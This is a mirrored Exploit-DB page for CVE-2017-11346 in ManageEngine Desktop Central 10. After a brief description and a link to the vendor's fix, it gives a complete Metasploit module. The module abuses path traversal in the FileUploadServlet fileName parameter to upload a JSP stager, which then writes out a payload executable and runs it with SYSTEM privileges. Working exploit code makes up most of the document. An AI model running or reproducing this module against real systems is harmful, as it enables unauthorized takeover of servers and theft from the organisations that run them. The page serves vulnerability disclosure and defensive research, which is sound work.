ManageEngine Desktop Central 10 Build 100087 – Remote Code Execution (Metasploit)

  • 作者: Kacper Szurek
    日期: 2017-07-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42358/
  • # Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
    # Date: 24-07-2017
    # Software Link: https://www.manageengine.com/products/desktop-central/
    # Exploit Author: Kacper Szurek
    # Contact: https://twitter.com/KacperSzurek
    # Website: https://security.szurek.pl/
    # CVE: CVE-2017-11346
    # Category: remote
     
    1. Description
     
    When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.
    
    This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
     
    https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html
     
    2. Proof of Concept
     
    ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'nokogiri'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
    'Description'=> %q{
    This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
    uploading a file, the FileUploadServlet class does not check the user-controlled
    fileName parameter. This allows a remote attacker to create a malicious file and place
    it under a directory that allows server-side scripts to run,
    which results in remote code execution under the context of SYSTEM.
    
    This exploit was successfully tested on version 10, build 100087.
    
    Exploit code based on https://www.exploit-db.com/exploits/38982/
    },
    'License'=> MSF_LICENSE,
    'Author' => [ 'Kacper Szurek' ],
    'References' =>
    [
    [ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
    ],
    'Platform' => 'win',
    'Targets'=>
    [
    [ 'ManageEngine Desktop Central 10 on Windows', {} ]
    ],
    'Payload'=>
    {
    'BadChars' => "\x00"
    },
    'Privileged' => false,
    'DisclosureDate' => "July 24 2017",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
    Opt::RPORT(8020)
    ], self.class)
    end
    
    def jsp_drop_bin(bin_data, output_file)
    jspraw =%Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
    
    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
    
    jspraw << %Q|int numbytes = data.length();\n|
    
    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|comb <<= 4;\n|
    jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|
    
    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|
    
    jspraw
    end
    
    def jsp_execute_command(command)
    jspraw =%Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|
    
    jspraw
    end
    
    def get_jsp_stager
    exe = generate_payload_exe(code: payload.encoded)
    jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
    
    register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")
    
    {
    jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
    jsp_name:jsp_fname
    }
    end
    
    def get_build_number(res)
    inputs = res.get_hidden_inputs
    inputs.first['buildNum']
    end
    
    def get_html_title(res)
    html = res.body
    n = ::Nokogiri::HTML(html)
    x = n.xpath('//title').text
    end
    
    def check
    uri = normalize_uri(target_uri.path, '/configurations.do')
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> uri
    })
    
    unless res
    print_error("Connection timed out")
    return Exploit::CheckCode::Unknown
    end
    
    build_number = get_build_number(res)
    if build_number.to_s.empty?
    print_error("Cannot find build number")
    else
    print_status("Found build number: #{build_number}")
    end
    
    html_title = get_html_title(res)
    
    if html_title.to_s.empty?
    print_error("Cannot find title")
    else
    print_status("Found title: #{html_title}")
    end
     
    if build_number.to_i <= 100087
    return Exploit::CheckCode::Appears
    elsif /ManageEngine Desktop Central 10/ === html_title
    return Exploit::CheckCode::Detected
    end
    
    
    Exploit::CheckCode::Safe
    end
    
    def upload_jsp(stager_info)
    uri = normalize_uri(target_uri.path, 'fileupload')
    
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => uri,
    'ctype' => 'application/octet-stream',
    'encode_params' => false,
    'data'=> stager_info[:jsp_payload],
    'vars_get'=> {
    'action'=> 'HelpDesk_video',
    'computerName'=> Rex::Text.rand_text_alpha(rand(10)+5),
    'resourceId'=> 1,
    'customerId'=> 1,
    'fileName'=> "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
    }
    })
    
    if res.nil?
    fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
    elsif res && res.code != 200
    fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
    end
    end
    
    def exec_jsp(stager_info)
    uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> uri
    })
    
    if res.nil?
    fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
    elsif res && res.code != 200
    fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
    end
    end
    
    def exploit
    print_status("Creating JSP stager")
    stager_info = get_jsp_stager
    
    print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
    upload_jsp(stager_info)
    
    print_status("Executing stager...")
    exec_jsp(stager_info)
    end
    
    end
     
    3. Solution:
     
    https://www.manageengine.com/products/desktop-central/remote-code-execution.html